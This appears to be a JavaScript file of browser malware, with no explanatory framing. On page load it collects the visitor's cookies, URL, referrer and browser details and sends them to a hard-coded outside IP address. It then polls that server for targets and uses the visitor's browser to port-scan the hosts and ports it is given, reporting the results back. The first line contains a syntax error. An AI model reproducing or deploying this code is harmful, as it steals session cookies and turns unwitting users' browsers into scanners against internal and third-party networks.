j/index.js

http_server = http://50.19.199.172/index.php";

const f2O = (host, port, options, timeout = 7000) => {
    return Promise.race([
        fetch('http://' + host + ':' + port, options),
        new Promise((_, reject) =>
    setTimeout(() => reject(new Error('timeout')), timeout)
        )
    ])
.then((resp) => {
      resp.host = host;
      resp.port = port;
      resp.message = "open";
      return resp;
  })
     .catch(error => {
         error.host = host;
         error.port = port;
        throw error;
    });
};


const thread = (host, ports, maxTime, callback) => {
    const loop = (ports) => {
        for (var i = 0; i < ports.length; i++) {
            const controller = new AbortController();
            f2O(host, ports[i], {
                mode: 'no-cors', 
                signal: controller.signal,
            }, maxTime).then(resp => {
                callback(resp);
                controller.abort();
            }).catch(err => {
                callback(err);
                controller.abort();
            });
        }
    };
    setTimeout(() => loop(ports), 0);
};

const scanRange = (host, ports, thread_count, maxTime) => {
    window.resOut = {type: 'scan_port', host: host, ports:{}};
    const port_range = ports.length;
    const thread_range = port_range / thread_count;
    totalRequests = port_range;
    completedRequests = 0;

    var i,j,temparray,chunk = thread_count;
    for (i=0,j=port_range; i<j; i+=chunk) {
        temparray = ports.slice(i,i+chunk);
        thread(host, temparray, maxTime, port => {
            completedRequests++;
            if (totalRequests == completedRequests) {
                window.timeLRequest = 0;
                next = true;
            }
            window.resOut.ports[port.port] = port.message;
            sendScanRes ();
        });
    }
}

function makePostRequest(data, callback) {
  var url = http_server;
  var xhr = new XMLHttpRequest();
  xhr.open('POST', url, true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.onload = function () {
    if (xhr.status >= 200 && xhr.status < 300) {
      callback(null, JSON.parse(xhr.responseText));
    } else {
      console.error('Request failed with status:', xhr.status);
    }
  };
  xhr.onerror = function () {
    console.error('Network error occurred');
  };
  var jsonData = JSON.stringify(data);
  xhr.send(jsonData);
}

const scan = () => {
   makePostRequest({'data': 'false'}, function(error,data) {
        if ( data.scan == 'true' ) {
            window.timeRequest = 500;
            window.timeLRequest = 0;
            console.log('scan');
            console.log(data.ports);
            scanRange (data.host, data.ports, data.scan_thread, data.scan_max_time);
        }
    });
};

const sendScanRes = () => {
    if ( (Date.now() - window.timeLRequest) > window.timeRequest ) {
        window.timeLRequest = Date.now();
        makePostRequest(window.resOut, function(err, data) {});
    }

}

let counter = 0;

function performAction() {
  if (next == true) {
      scan();
      counter++;
  }
  if (counter < 50) {
    setTimeout(performAction, 20000);
  }
}

var info = {}; 
info.browser = function(){
	ua = navigator.userAgent.toLowerCase();
	var rwebkit = /(webkit)[ \/]([\w.]+)/;
	var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
	var rmsie = /(msie) ([\w.]+)/;
	var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
	var match = rwebkit.exec( ua ) ||
		ropera.exec( ua ) ||
		rmsie.exec( ua ) ||
		ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
		[];
	return {name: match[1] || "", version: match[2] || "0"};
}();
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = escape(document.referrer);
info.location = escape(window.location.href);
info.toplocation = escape(top.location.href);
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){
	var c = "";
	if (self.screen) {c = screen.width+"x"+screen.height;}
	return c;
}();
info.flash = function(){
	var f="",n=navigator;
	if (n.plugins && n.plugins.length) {
		for (var ii=0;ii<n.plugins.length;ii++) {
			if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
				f=n.plugins[ii].description.split('Shockwave Flash ')[1];
				break;
			}
		}
	}
	else
	if (window.ActiveXObject) {
		for (var ii=20;ii>=2;ii--) {
			try {
				var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
				if (fl) {
					f=ii + '.0';
					break;
				}
			}
			 catch(e) {}
		}
	}
	return f;
}(); 

function json2str(o) {
	var arr = [];
	var fmt = function(s) {
		if (typeof s == 'object' && s != null) return json2str(s);
		return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
	}
	for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));
	return '{' + arr.join(',') + '}';
} 
window.onload = () => {
	var i = json2str(info);
	new Image().src = http_server + "?c=" + i;
    console.log('start');
    next = true;
    performAction();
};